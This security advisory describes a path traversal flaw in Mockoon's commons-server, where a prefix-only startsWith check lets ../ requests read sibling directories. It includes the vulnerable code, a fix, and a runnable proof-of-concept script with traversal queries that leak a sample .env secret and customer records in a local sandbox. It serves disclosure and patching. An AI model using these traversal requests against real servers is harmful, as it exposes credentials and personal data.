@Mockoon/commons-server: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)
Summary
A FILE response whose filePath embeds request data (e.g. "/srv/public/{{queryParam 'name'}}", the documented way to let the client pick a file) is confined by getSafeFilePath with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.
Details
packages/commons-server/src/libs/server/server.ts, getSafeFilePath (line 2315). The static base is the text before the first {{, resolved to an absolute path; the parsed filePath is then bounded by a string-prefix check:
const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336
const parsedFilePath = TemplateParser({ ... request ... }); // request-controlled
const resolvedPath = resolvePath(parsedFilePath);
if (isPathAbsolute) {
if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355
throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);
}
} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362
throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);
}
With "/srv/public/{{queryParam 'name'}}", staticBaseDir = /srv/public. A request name=../public_backup/.env resolves to /srv/public_backup/.env, and "/srv/public_backup/.env".startsWith("/srv/public") is true → served. Any sibling whose absolute path begins with the string /srv/public is reachable; the relative branch (:2362) is the same against environmentDirectory. A correct check appends sep to the base, or rejects when relative(base, resolvedPath) starts with ...
filePath is request-controlled (queryParam/urlParam/header/body via TemplateParser) for every FILE response: HTTP sendFile (:1762), WebSocket (:1145), callbacks (:1586).
PoC
cat > /tmp/poc.sh <<'POC'
set -e
mkdir -p /work/public /work/public_backup && cd /work
echo 'public landing page' > public/index.txt
echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env
echo 'Michael, michael@example.com, 555-22-7741' > public_backup/customers.csv
cat > env.json <<'JSON'
{"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[],
"routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download",
"responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[],
"bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR",
"disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}],
"responseMode":null,"streamingMode":null,"streamingInterval":0}],
"rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}],
"proxyMode":false,"proxyHost":"","proxyRemovePrefix":false,
"tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""},
"cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]}
JSON
npm i -g @mockoon/cli@9.6.1 >/dev/null 2>&1
mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 &
sleep 6
node -e '
const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}};
const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();};
(async()=>{
console.log("[*] intended file (public/index.txt) :",await g("index.txt"));
console.log("[+] escape -> ../public_backup/.env :",await g("../public_backup/.env"));
console.log("[+] escape -> ../public_backup/customers:",await g("../public_backup/customers.csv"));
})();'
POC
docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh
Output:
[*] intended file (public/index.txt) : public landing page
[+] escape -> ../public_backup/.env : AWS_SECRET_ACCESS_KEY=redacted
[+] escape -> ../public_backup/customers: Michael, michael@example.com, 555-22-7741
../public_backup/.env and ../public_backup/customers.csv are served, outside /work/public/, because their absolute paths string-prefix /work/public
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | @mockoon/cli | < 9.7.0 | 9.7.0 |
| npm package | @mockoon/commons-server | < 9.7.0 | 9.7.0 |
References
- https://github.com/mockoon/mockoon/security/advisories/GHSA-8wqc-v2q8-vff2
- https://nvd.nist.gov/vuln/detail/CVE-2026-59149
- https://github.com/mockoon/mockoon/pull/2255
- https://github.com/mockoon/mockoon/commit/b42bdfb7f82e83f0e81bea8e6fe41adf5ec82585
- https://github.com/mockoon/mockoon
- https://github.com/mockoon/mockoon/releases/tag/v9.7.0
- https://mockoon.com/releases/9.7.0
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N- Weakness (CWE)
CWE-22, CWE-23- Platform
- npm
- Package
@mockoon/cli, @mockoon/commons-server- Disclosed
- 11.09.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-8wqc-v2q8-vff2 - CC BY 4.0
Vulnerability history: @mockoon/commons-server
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 3
- First → latest
- 03.2025 09.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 2
- Medium 1
Disclosures per year
- 2025: 1
- 2026: 2
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